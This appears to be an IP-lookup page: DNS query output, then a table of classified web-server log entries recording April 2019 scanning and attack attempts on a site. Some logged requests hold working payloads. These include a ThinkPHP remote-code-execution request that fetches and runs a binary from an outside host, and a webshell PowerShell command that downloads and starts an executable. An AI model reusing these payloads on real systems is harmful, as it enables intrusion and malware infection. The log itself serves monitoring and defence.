City: unknown
Region: unknown
Country: United States
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 30.245.229.40
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 63106
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;30.245.229.40. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025012201 1800 900 604800 86400
;; Query time: 69 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Thu Jan 23 08:43:27 CST 2025
;; MSG SIZE rcvd: 106Host 40.229.245.30.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 40.229.245.30.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 101.226.114.193 | attack | 101.226.114.193 - - [22/Apr/2019:08:26:29 +0800] "GET /web/cgi-bin/hi3510/param.cgi?cmd%253Dgetp2pattr%2526cmd%253Dgetuserattr HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.114.193 - - [22/Apr/2019:08:26:29 +0800] "GET /web/cgi-bin/hi3510/param.cgi?cmd%253Dgetp2pattr%2526cmd%253Dgetuserattr HTTP/1.1" 404 209 "http://118.25.52.138/web/cgi-bin/hi3510/param.cgi?cmd%253Dgetp2pattr%2526cmd%253Dgetuserattr" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-22 08:28:33 |
| 139.59.23.231 | botsattack | 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-24 19:28:05 |
| 171.8.219.231 | attack | 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1" 404 557 "http://www.eznewstoday.com/FCKeditor/editor/filemanager/connectors/asp/connect or.asp?Command=FileUpload&Type=File&CurrentFolder=%2F" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1" 301 329 "http://www.eznewstoday.com/index.php?m=member&c=index&a=register&siteid=1" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /admin_aspcms/_system/AspCms_SiteSetting.asp HTTP/1.1" 404 542 "http://www.eznewstoday.com/admin_aspcms/_system/AspCms_SiteSetting.asp" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /plus/moon.php HTTP/1.1" 404 512 "http://www.eznewstoday.com/plus/moon.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /plus/90sec.php HTTP/1.1" 404 513 "http://www.eznewstoday.com/plus/90sec.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1" 404 524 "http://www.eznewstoday.com/utility/convert/index.php?a=config&source=d7.2_x2.0" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2 )" |
2019-04-24 12:21:27 |
| 156.219.69.226 | attack | 156.219.69.226 - - [19/Apr/2019:04:36:01 +0800] "GET /wp-login.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 156.219.69.226 - - [19/Apr/2019:04:36:03 +0800] "GET /wp-login.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 156.219.69.226 - - [19/Apr/2019:04:36:03 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 156.219.69.226 - - [19/Apr/2019:04:36:03 +0800] "GET / HTTP/1.1" 200 10278 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" |
2019-04-19 04:38:18 |
| 27.115.124.6 | botsattack | 假百度refer 27.115.124.6 - - [18/Apr/2019:16:33:13 +0800] "GET /server-status HTTP/1.1" 403 3918 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" |
2019-04-18 16:36:00 |
| 61.139.73.169 | attack | 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //main.do HTTP/1.1" 404 445 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //console/ HTTP/1.1" 404 446 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //console/ HTTP/1.1" 404 446 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //was5/admin/ HTTP/1.1" 404 449 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //was5/admin/ HTTP/1.1" 404 449 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //kingdee/login/loginpage.jsp HTTP/1.1" 404 465 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //kingdee/login/loginpage.jsp HTTP/1.1" 404 465 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" |
2019-04-24 16:00:25 |
| 178.62.232.43 | botsattack | 178.62.232.43 - - [18/Apr/2019:08:32:24 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 178.62.232.43 - - [18/Apr/2019:08:32:24 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 178.62.232.43 - - [18/Apr/2019:08:32:24 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 178.62.232.43 - - [18/Apr/2019:08:32:24 +0800] "GET /phpmy/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 178.62.232.43 - - [18/Apr/2019:08:32:24 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" |
2019-04-18 08:35:01 |
| 113.89.0.55 | bots | 113.89.0.55 - - [22/Apr/2019:14:01:01 +0800] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:01 +0800] "GET / HTTP/1.1" 200 10286 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "HEAD /aboutus HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "GET /aboutus HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:04 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" |
2019-04-22 14:01:42 |
| 54.81.225.130 | normal | 非bot |
2019-04-19 16:51:52 |
| 81.92.203.247 | spam | 81.92.203.247 - - [21/Apr/2019:05:49:50 +0800] "GET /index.php/2018/12/14/bert-transformer/ HTTP/1.0" 200 44744 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/" "Mozil la/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 81.92.203.247 - - [21/Apr/2019:05:49:51 +0800] "POST /wp-comments-post.php HTTP/1.0" 302 4143 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 81.92.203.247 - - [21/Apr/2019:05:49:51 +0800] "GET /index.php/2018/12/14/bert-transformer/ HTTP/1.0" 200 44744 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/#comment -14272" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" |
2019-04-21 06:58:05 |
| 165.22.159.9 | attack | 165.22.159.9 - - [18/Apr/2019:08:05:25 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:26 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:26 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:27 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.12.4" |
2019-04-18 08:06:11 |
| 185.255.46.177 | botsattack | 185.255.46.177 - - [21/Apr/2019:07:47:25 +0800] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 185.255.46.177 - - [21/Apr/2019:07:47:25 +0800] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 185.255.46.177 - - [21/Apr/2019:07:47:26 +0800] "GET //wp/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-04-21 07:54:08 |
| 171.221.170.111 | attack | 171.221.170.111 - - [25/Apr/2019:00:03:47 +0800] "GET /_async/AsyncResponseService HTTP/1.1" 404 521 "-" "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" |
2019-04-25 05:29:43 |
| 118.25.71.65 | attack | 118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 301 194 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 404 232 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-19 15:56:51 |
| 213.97.80.165 | bots | 213.97.80.165 - - [21/Apr/2019:08:08:52 +0800] "GET //CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:08:54 +0800] "GET //CHANGELOG.txt HTTP/1.1" 308 257 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:09:00 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:09:01 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 404 232 "-" "libwww-perl/6.04" |
2019-04-21 08:10:22 |